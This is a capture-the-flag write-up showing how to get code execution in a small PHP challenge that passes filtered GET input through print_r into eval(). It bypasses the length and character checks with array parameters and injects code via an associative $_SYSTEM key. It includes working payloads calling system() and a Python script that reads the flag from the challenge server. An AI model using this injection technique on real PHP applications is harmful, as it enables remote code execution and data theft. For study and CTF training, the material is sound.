A small PHP script with
eval()
... What can go wrong?
Recon
The challenge website shows us a single PHP page that reveals its source:
We can pass a value into eval()
, however there are some constraints:
- Our input (GET URL argument) may not be longer than length 10
- Our input may not contain
a-zA-Z0-9
and a backtick`
- Our input is printed by
print_r()
before going intoeval()
We can clean it up a bit for readability;
<?php
$code = ""; // user-input
if(strlen($code) >= 10)
die("length not ok");
if(preg_match('/[a-z0-9`]/i',$code))
die("illegal characters found");
$result = print_r($code, 1);
echo eval($result);
GET arg ninja
First things that come to mind:
- Due to the length limit, it is near impossible to input anything useful.
- Due to the way PHP parses GET arguments, we might be able to circumvent both the length and regex check by supplying an array instead.
And indeed we can circumvent the checks by doing something like this:
<?php
$code = ["foo", "bar"];
You would supply such arguments via an URL like this:
http://localhost/?code[]=foo&code[]=bar
Which results in the following string getting eval
'd:
<?php
Array
(
[0] => "foo",
[1] => "bar"
)
However, that's a syntax error, as it is not valid PHP, so it gets us nowhere.
Backticks?
Backticks are like exec()
in PHP. I naively hoped that when you have a string, such as:
<?php
$a = "bla `touch /tmp/test`; bla";
eval($a);
The PHP interpreter would first evaluate those backticks and only
then error out on the rest, resulting in code execution. But that's
not the case. The eval()
just ... fails ヽ(#`Д´)ノ
.
Injection
After a hour or so I saw The Light™: we have an injection point inside the to-be eval
'd string in
which we can do whatever what we want, e.g: add semi-columns, newlines, comments, so we might as well
control/fake a lot of what will eventually go into eval()
.
Side-note: This write-up author is a PHP noob, in that case having a debugger around is helpful, PhpStorm (community edition) can help with that - make sure to install
sudo apt install -y php7.4 php7.4-xdebug
Example:
Given the following input:
<?php
$code = ["foo", "bar\n [2] => hax\n);/*"];
We can make arbitrary array elements:
<?php
Array
(
[0] => "foo",
[1] => "bar",
[2] => "hax"
);/*
)
Note also the multi-line comment /*
to cancel out the last )
- which is
similar to SQLi where sometimes you add --
or #
at the end in order to
omit trailing characters in favor of getting a valid query.
We can also add whole new lines of PHP code:
<?php
$code = ["foo", "bar\n [2] => hax\n);\necho system('ls -al');/*"];
<?php
Array
(
[0] => "foo",
[1] => "bar",
[2] => "hax"
);
echo system('ls -al');/*
)
However, that whole Array
thingy is a syntax error (PHP Fatal error: Illegal offset type
) due to the keys (integers), so
no actual code execution;
Associative Arrays
Seeing as I could not get the above approach working using regular PHP arrays, I tried "assoc arrays" instead. You pass them via GET args like this:
http://localhost/?code[foo]=bar
Which results in:
<?php
Array
(
["foo"] => "bar"
)
It's still a syntax error, but we control the key now, and for reasons that are above my paygrade, when
you use $_SYSTEM
as the key, PHP stops error'ing and merely complains with warnings. We can use this behaviour :)
<?php
$code = [
"\$_SYSTEM" => "bar\n);/*"
];
Results in this being eval()
d with no error (!) (ノ◕ヮ◕)ノ*:・゚✧
<?php
Array
(
["$_SYSTEM"] => "bar"
);/*
)
Exploit
We can craft our exploit;
<?php
$code = [
"\$_SYSTEM" => "foo\n);\n\$e=system('ls -al');/*"
];
fed into eval()
:
<?php
Array
(
["$_SYSTEM"] => "foo"
);
$e=system('ls -al');/*
)
PHP Warning: Unterminated comment starting line 5 in /home/dsc/PhpstormProjects/bamboophp/test.php(17) : eval()'d code on line 5
PHP Stack trace:
PHP 1. {main}() /home/dsc/PhpstormProjects/bamboophp/test.php:0
PHP Warning: Use of undefined constant foo - assumed 'foo' (this will throw an Error in a future version of PHP) in /home/dsc/PhpstormProjects/bamboophp/test.php(17) : eval()'d code on line 3
PHP Stack trace:
PHP 1. {main}() /home/dsc/PhpstormProjects/bamboophp/test.php:0
PHP 2. eval() /home/dsc/PhpstormProjects/bamboophp/test.php:17
PHP Warning: Illegal offset type in /home/dsc/PhpstormProjects/bamboophp/test.php(17) : eval()'d code on line 3
PHP Stack trace:
PHP 1. {main}() /home/dsc/PhpstormProjects/bamboophp/test.php:0
PHP 2. eval() /home/dsc/PhpstormProjects/bamboophp/test.php:17
total 16
drwxrwxr-x 3 dsc dsc 4096 jan 18 11:27 .
drwxrwxr-x 3 dsc dsc 4096 jan 18 10:20 ..
drwxrwxr-x 2 dsc dsc 4096 jan 18 11:26 .idea
-rw-rw-r-- 1 dsc dsc 327 jan 18 11:27 test.php
A directory listing :)
Flag
Lets try against remote:
# -*- coding: utf-8 -*-
import requests
hax = "http://chall.ctf.bamboofox.tw:9487/?%E3%83%BD%28%23%60%D0%94%C2%B4%29%EF%BE%89[$_SYSTEM]=foo\n);\n$e=system('cat /flag_de42537a7dd854f4ce27234a103d4362');/*"
resp = requests.get(hax)
print(resp.content.decode())
flag{!pee_echi_pee!}